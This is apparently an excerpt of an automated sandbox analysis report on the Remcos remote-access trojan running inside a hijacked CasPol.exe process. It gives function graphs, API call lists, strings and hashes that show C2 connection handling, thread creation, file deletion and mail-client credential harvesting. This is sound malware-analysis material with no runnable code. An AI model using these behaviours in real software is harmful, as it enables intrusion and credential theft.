401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 40ce34 181->184 191 40ee59-40ee7d call 40247c call 434829 183->191 184->191 212 40ee8c 191->212 213 40ee7f-40ee8a call 436f10 191->213 205->178 218 40ee8e-40eed9 call 401f04 call 43f859 call 40247c call 401fab call 40247c call 401fab call 413982 212->218 213->218 273 40eede-40ef03 call 434832 call 401e65 call 40b9f8 218->273 287 40f017-40f019 236->287 288 40effc 236->288 273->236 286 40ef09-40ef28 call 401e65 call 41bcef call 40f4af 273->286 286->236 306 40ef2a 286->306 289 40f01b-40f01d 287->289 290 40f01f 287->290 292 40effe-40f015 call 41ce2c CreateThread 288->292 289->292 293 40f025-40f101 call 402093 * 2 call 41b580 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 43bb2c call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab StrToIntA call 409e1f call 401e65 call 401fab 290->293 292->293 344 40f103-40f13a call 43455e call 401e65 call 401fab CreateThread 293->344 345 40f13c 293->345 306->93 346 40f13e-40f156 call 401e65 call 401fab 344->346 345->346 357 40f194-40f1a7 call 401e65 call 401fab 346->357 358 40f158-40f18f call 43455e call 401e65 call 401fab CreateThread 346->358 368 40f207-40f21a call 401e65 call 401fab 357->368 369 40f1a9-40f202 call 401e65 call 401fab call 401e65 call 401fab call 40da23 call 401f13 call 401f09 CreateThread 357->369 358->357 379 40f255-40f279 call 41b69e call 401f13 call 401f09 368->379 380 40f21c-40f250 call 401e65 call 401fab call 401e65 call 401fab call 43bb2c call 40c19d 368->380 369->368 402 40f27b-40f27c SetProcessDEPPolicy 379->402 403 40f27e-40f291 CreateThread 379->403 380->379 402->403 404 40f293-40f29d CreateThread 403->404 405 40f29f-40f2a6 403->405 404->405 408 40f2b4-40f2bb 405->408 409 40f2a8-40f2b2 CreateThread 405->409 412 40f2c9 408->412 413 40f2bd-40f2c0 408->413 409->408 418 40f2ce-40f302 call 402093 call 4052fd call 402093 call 41b580 call 401fd8 412->418 415 40f2c2-40f2c7 413->415 416 40f307-40f31a call 401fab call 41353a 413->416 415->418 425 40f31f-40f322 416->425 418->416 425->157 427 40f328-40f368 call 41bcef call 401f04 call 413656 call 401f09 call 401f04 425->427 443 40f381-40f386 DeleteFileW 427->443 444 40f388 443->444 445 40f36a-40f36d 443->445 444->126 445->126 446 40f36f-40f37c Sleep call 401f04 445->446 446->443
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(Psapi), ref: 0041CBF6
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CBFF
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040EA1C), ref: 0041CC16
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC19
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(shcore), ref: 0041CC2B
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC2E
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(user32), ref: 0041CC3F
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC42
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(ntdll), ref: 0041CC54
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC57
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(kernel32), ref: 0041CC63
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC66
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040EA1C), ref: 0041CC77
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC7A
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040EA1C), ref: 0041CC8B
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CC8E
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(Shell32), ref: 0041CC9F
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CCA2
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040EA1C), ref: 0041CCB3
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CCB6
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040EA1C), ref: 0041CCC7
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CCCA
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040EA1C), ref: 0041CCDB
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CCDE
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040EA1C), ref: 0041CCEF
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CCF2
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040EA1C), ref: 0041CD03
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CD06
                                                                                                                                                                                                    • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CD14
                                                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000104), ref: 0040EA29
                                                                                                                                                                                                    • Part of subcall function 00410F72: __EH_prolog.LIBCMT ref: 00410F77
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                                                                                                                                                                                                  • String ID: 8SG$8SG$Access Level: $Administrator$C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$Exe$Exe$Inj$PSG$Remcos Agent initialized$Rmc-TTZ00A$Software\$User$dMG$del$del$exepath$licence$license_code.txt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
                                                                                                                                                                                                  • API String ID: 2830904901-3887580542
                                                                                                                                                                                                  • Opcode ID: fd73887dfe7c2f8b5f7d58d1a079a1c55f4a87e6956eb979ab5da73f0138c936
                                                                                                                                                                                                  • Instruction ID: f870588dacc207cf398a21a9077505b2b75b96970711a81e27f166ce8512e3fa
                                                                                                                                                                                                  • Opcode Fuzzy Hash: fd73887dfe7c2f8b5f7d58d1a079a1c55f4a87e6956eb979ab5da73f0138c936
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9B32F960B043412BDA24B7729C57B7E26994F80748F50483FB9467B2E3EEBC8D45839E
                                                                                                                                                                                                  Function 00414F65 Relevance: 49.8, APIs: 5, Strings: 23, Instructions: 809sleepnetworkCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 494 414f65-414fad call 4020df call 41b944 call 4020df call 401e65 call 401fab call 43bb2c 507 414fbc-415008 call 402093 call 401e65 call 4020f6 call 41beac call 40489e call 401e65 call 40b9f8 494->507 508 414faf-414fb6 Sleep 494->508 523 41500a-415079 call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 40473d 507->523 524 41507c-415117 call 402093 call 401e65 call 4020f6 call 41beac call 401e65 * 2 call 406c59 call 402f10 call 401fe2 call 401fd8 * 2 call 401e65 call 405b05 507->524 508->507 523->524 577 415127-41512e 524->577 578 415119-415125 524->578 579 415133-4151c5 call 405aa6 call 40531e call 406383 call 402f10 call 402093 call 41b580 call 401fd8 * 2 call 401e65 call 401fab call 401e65 call 401fab call 414f24 577->579 578->579 606 415210-41521e call 40482d 579->606 607 4151c7-4151d2 WSAGetLastError call 41cb72 579->607 613 415220-415246 call 402093 * 2 call 41b580 606->613 614 41524b-415260 call 404f51 call 4048c8 606->614 610 4151d7-41520b call 4052fd call 402093 call 41b580 call 401fd8 607->610 630 415ade-415af0 call 404e26 call 4021fa 610->630 613->630 629 415266-4153b9 call 401e65 * 2 call 40531e call 406383 call 402f10 call 406383 call 402f10 call 402093 call 41b580 call 401fd8 * 4 call 41b871 call 4145f8 call 409097 call 441ed1 call 401e65 call 4020f6 call 40247c call 401fab * 2 call 413733 614->629 614->630 694 4153bb-4153c8 call 405aa6 629->694 695 4153cd-4153f4 call 401fab call 4135e1 629->695 642 415af2-415b12 call 401e65 call 401fab call 43bb2c Sleep 630->642 643 415b18-415b20 call 401e8d 630->643 642->643 643->524 694->695 701 4153f6-4153f8 695->701 702 4153fb-4154c0 call 40417e call 40ddc4 call 41bcd3 call 41bdaf call 41bc1f call 401e65 GetTickCount call 41bc1f call 41bb77 call 41bc1f * 2 call 41bb27 695->702 701->702 725 4154c5-415a51 call 41bdaf * 5 call 40f90c call 41bdaf call 402f31 call 402ea1 call 402f10 call 402ea1 call 402f10 * 3 call 402ea1 call 402f10 call 406383 call 402f10 call 406383 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 406383 call 402f10 * 5 call 402ea1 call 402f10 call 402ea1 call 402f10 * 7 call 402ea1 call 404aa1 call 401fd8 * 50 call 401f09 call 401fd8 * 6 call 401f09 call 404c10 702->725 948 415a53-415a5a 725->948 949 415a65-415a6c 725->949 948->949 950 415a5c-415a5e 948->950 951 415a78-415aaa call 405a6b call 402093 * 2 call 41b580 949->951 952 415a6e-415a73 call 40b08c 949->952 950->949 963 415aac-415ab8 CreateThread 951->963 964 415abe-415ad9 call 401fd8 * 2 call 401f09 951->964 952->951 963->964 964->630
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • Sleep.KERNEL32(00000000,00000029,004752F0,004750E4,00000000), ref: 00414FB6
                                                                                                                                                                                                  • WSAGetLastError.WS2_32(00000000,00000001), ref: 004151C7
                                                                                                                                                                                                  • Sleep.KERNEL32(00000000,00000002), ref: 00415B12
                                                                                                                                                                                                    • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Sleep$ErrorLastLocalTime
                                                                                                                                                                                                  • String ID: | $%I64u$5.1.3 Pro$8SG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$Exe$PSG$Rmc-TTZ00A$TLS Off$TLS On $dMG$hlight$name$NG$NG$PG$PG$PG
                                                                                                                                                                                                  • API String ID: 524882891-2526703241
                                                                                                                                                                                                  • Opcode ID: f0a221d959cbd39799d0e132cf331c84cc5c807d9e9348ae85a5b99028b42fbe
                                                                                                                                                                                                  • Instruction ID: 9dea7478a43989413a8a7de35667e348ffff56bc780dedce428272fd6db975fd
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f0a221d959cbd39799d0e132cf331c84cc5c807d9e9348ae85a5b99028b42fbe
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B8526C31A001155ACB18F732DD96AFEB3769F90348F5044BFE40A761E2EF781E858A9D
                                                                                                                                                                                                  Function 00412AEF Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 971 412aef-412b38 GetModuleFileNameW call 4020df * 3 978 412b3a-412bc4 call 41ba09 call 401fab call 40da23 call 401fd8 call 41ba09 call 401fab call 40da23 call 401fd8 call 41ba09 call 401fab call 40da23 call 401fd8 971->978 1003 412bc6-412c56 call 401fab call 40417e call 4042fc call 40431d call 403014 call 401f04 call 4185a3 call 401f09 * 4 978->1003 1026 412c66 1003->1026 1027 412c58-412c60 Sleep 1003->1027 1028 412c68-412cf8 call 401fab call 40417e call 4042fc call 40431d call 403014 call 401f04 call 4185a3 call 401f09 * 4 1026->1028 1027->1003 1027->1026 1051 412d08 1028->1051 1052 412cfa-412d02 Sleep 1028->1052 1053 412d0a-412d9a call 401fab call 40417e call 4042fc call 40431d call 403014 call 401f04 call 4185a3 call 401f09 * 4 1051->1053 1052->1028 1052->1051 1076 412daa-412dcf 1053->1076 1077 412d9c-412da4 Sleep 1053->1077 1078 412dd3-412def call 401f04 call 41c516 1076->1078 1077->1053 1077->1076 1083 412df1-412e00 call 401f04 DeleteFileW 1078->1083 1084 412e06-412e22 call 401f04 call 41c516 1078->1084 1083->1084 1091 412e24-412e3d call 401f04 DeleteFileW 1084->1091 1092 412e3f 1084->1092 1093 412e43-412e5f call 401f04 call 41c516 1091->1093 1092->1093 1100 412e61-412e73 call 401f04 DeleteFileW 1093->1100 1101 412e79-412e7b 1093->1101 1100->1101 1103 412e88-412e93 Sleep 1101->1103 1104 412e7d-412e7f 1101->1104 1103->1078 1107 412e99-412eab call 406b63 1103->1107 1104->1103 1106 412e81-412e86 1104->1106 1106->1103 1106->1107 1110 412f01-412f20 call 401f09 * 3 1107->1110 1111 412ead-412ebb call 406b63 1107->1111 1122 412f25-412f5e call 40b93f call 401f04 call 4020f6 call 413268 1110->1122 1111->1110 1117 412ebd-412ecb call 406b63 1111->1117 1117->1110 1123 412ecd-412ef9 Sleep call 401f09 * 3 1117->1123 1138 412f63-412f89 call 401f09 call 405b05 1122->1138 1123->978 1137 412eff 1123->1137 1137->1122 1143 4130e3-4131dc call 41bdaf call 402f31 call 402f10 * 6 call 402ea1 call 404aa1 call 401fd8 * 7 1138->1143 1144 412f8f-4130de call 41bdaf call 41bc1f call 402f31 call 402f10 * 6 call 402ea1 call 402f10 call 402ea1 call 404aa1 call 401fd8 * 10 1138->1144 1213 4131e0-413267 call 401fd8 call 401f09 call 401fd8 * 9 1143->1213 1144->1213
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412B08
                                                                                                                                                                                                    • Part of subcall function 0041BA09: GetCurrentProcessId.KERNEL32(00000000,7570D4DF,00000000,?,?,?,?,00466478,0040D248,.vbs,?,?,?,?,?,004752F0), ref: 0041BA30
                                                                                                                                                                                                    • Part of subcall function 004185A3: CloseHandle.KERNEL32(004040F5), ref: 004185B9
                                                                                                                                                                                                    • Part of subcall function 004185A3: CloseHandle.KERNEL32(00465E84), ref: 004185C2
                                                                                                                                                                                                  • Sleep.KERNEL32(0000000A,00465E84), ref: 00412C5A
                                                                                                                                                                                                  • Sleep.KERNEL32(0000000A,00465E84,00465E84), ref: 00412CFC
                                                                                                                                                                                                  • Sleep.KERNEL32(0000000A,00465E84,00465E84,00465E84), ref: 00412D9E
                                                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000,00465E84,00465E84,00465E84), ref: 00412E00
                                                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000,00465E84,00465E84,00465E84), ref: 00412E37
                                                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000,00465E84,00465E84,00465E84), ref: 00412E73
                                                                                                                                                                                                  • Sleep.KERNEL32(000001F4,00465E84,00465E84,00465E84), ref: 00412E8D
                                                                                                                                                                                                  • Sleep.KERNEL32(00000064), ref: 00412ECF
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                                                                                                                                                                                  • String ID: /stext "$0TG$0TG$NG$NG
                                                                                                                                                                                                  • API String ID: 1223786279-2576077980
                                                                                                                                                                                                  • Opcode ID: eaa2c7ded2fb993fb69df274429c638ebd8ce54d64ed8dcd9df39e74ccc7a972
                                                                                                                                                                                                  • Instruction ID: 10d3359c81a21c2239512d2238f4034584c87ebec4848cfd83014516dee20f06
                                                                                                                                                                                                  • Opcode Fuzzy Hash: eaa2c7ded2fb993fb69df274429c638ebd8ce54d64ed8dcd9df39e74ccc7a972
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2F0268315083414AC325FB62D891AEFB3E5AFD4348F50483FF58A931E2EF785A49C65A
                                                                                                                                                                                                  Function 100012EE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 243stringCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetEnvironmentVariableW.KERNEL32(ProgramFiles,?,00000104), ref: 10001434
                                                                                                                                                                                                    • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                                                                                                                                                                                                    • Part of subcall function 100010F1: lstrcatW.KERNEL32(?,?), ref: 10001151
                                                                                                                                                                                                    • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
                                                                                                                                                                                                    • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                                                                                                                                                                                                    • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                                                                                                                                                                                                    • Part of subcall function 100010F1: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                                                                                                                                                                                                    • Part of subcall function 100010F1: FindNextFileW.KERNEL32(00000000,00000010), ref: 100011D0
                                                                                                                                                                                                    • Part of subcall function 100010F1: FindClose.KERNEL32(00000000), ref: 100011DB
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?), ref: 100014C5
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?), ref: 100014E0
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?), ref: 1000150F
                                                                                                                                                                                                  • lstrcatW.KERNEL32(00000000), ref: 10001521
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?), ref: 10001547
                                                                                                                                                                                                  • lstrcatW.KERNEL32(00000000), ref: 10001553
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?), ref: 10001579
                                                                                                                                                                                                  • lstrcatW.KERNEL32(00000000), ref: 10001585
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?), ref: 100015AB
                                                                                                                                                                                                  • lstrcatW.KERNEL32(00000000), ref: 100015B7
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: lstrlen$lstrcat$Find$File$CloseEnvironmentFirstNextVariable
                                                                                                                                                                                                  • String ID: )$Foxmail$ProgramFiles
                                                                                                                                                                                                  • API String ID: 672098462-2938083778
                                                                                                                                                                                                  • Opcode ID: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                                                                                                                                                                                                  • Instruction ID: 44b728d421a24f1832cbc0053e0d9d9aefaca4d51113d01ad6b93c48f87fe4b0
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4081A475A40358A9EB30D7A0DC86FDE7379EF84740F00059AF608EB191EBB16AC5CB95
                                                                                                                                                                                                  Function 00414DC1 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 1286 414dc1-414dfd 1287 414e03-414e18 GetSystemDirectoryA 1286->1287 1288 414f18-414f23 1286->1288 1289 414f0e 1287->1289 1290 414e1e-414e6a call 441a8e call 441ae8 LoadLibraryA 1287->1290 1289->1288 1295 414e81-414ebb call 441a8e call 441ae8 LoadLibraryA 1290->1295 1296 414e6c-414e76 GetProcAddress 1290->1296 1309 414f0a-414f0d 1295->1309 1310 414ebd-414ec7 GetProcAddress 1295->1310 1297 414e78-414e7b FreeLibrary 1296->1297 1298 414e7d-414e7f 1296->1298 1297->1298 1298->1295 1300 414ed2 1298->1300 1303 414ed4-414ee5 GetProcAddress 1300->1303 1305 414ee7-414eeb 1303->1305 1306 414eef-414ef2 FreeLibrary 1303->1306 1305->1303 1307 414eed 1305->1307 1308 414ef4-414ef6 1306->1308 1307->1308 1308->1309 1311 414ef8-414f08 1308->1311 1309->1289 1312 414ec9-414ecc FreeLibrary 1310->1312 1313 414ece-414ed0 1310->1313 1311->1309 1311->1311 1312->1313 1313->1300 1313->1309
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414E10
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(?), ref: 00414E52
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E72
                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 00414E79
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(?), ref: 00414EB1
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414EC3
                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 00414ECA
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?), ref: 00414ED9
                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 00414EF0
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Library$AddressFreeProc$Load$DirectorySystem
                                                                                                                                                                                                  • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                                                                                                                                                                                                  • API String ID: 2490988753-744132762
                                                                                                                                                                                                  • Opcode ID: bff3b13f7ac9eea3f878ccf145141800db562e87b1258dd51974eed62fb821cf
                                                                                                                                                                                                  • Instruction ID: 3d65f6a93fba2a0b2eac8854c7d2b2934d6e6a161d7d6dc9994b6ec54a408268
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bff3b13f7ac9eea3f878ccf145141800db562e87b1258dd51974eed62fb821cf
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5E31C4B1905315A7D7209F65CC84DDF76DCAB84754F004A2AF944A3210D738D985CBAE
                                                                                                                                                                                                  Function 0040A761 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • Sleep.KERNEL32(00001388), ref: 0040A77B
                                                                                                                                                                                                    • Part of subcall function 0040A6B0: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6E6
                                                                                                                                                                                                    • Part of subcall function 0040A6B0: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A788), ref: 0040A6F5
                                                                                                                                                                                                    • Part of subcall function 0040A6B0: Sleep.KERNEL32(00002710,?,?,?,0040A788), ref: 0040A722
                                                                                                                                                                                                    • Part of subcall function 0040A6B0: CloseHandle.KERNEL32(00000000), ref: 0040A729
                                                                                                                                                                                                  • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A7B7
                                                                                                                                                                                                  • GetFileAttributesW.KERNEL32(00000000), ref: 0040A7C8
                                                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7DF
                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 0040A859
                                                                                                                                                                                                    • Part of subcall function 0041C516: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C52F
                                                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466478,?,00000000,00000000,00000000,00000000,00000000), ref: 0040A962
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                                                                                                                                                                                  • String ID: 8SG$8SG$pQG$pQG$PG$PG
                                                                                                                                                                                                  • API String ID: 3795512280-1152054767
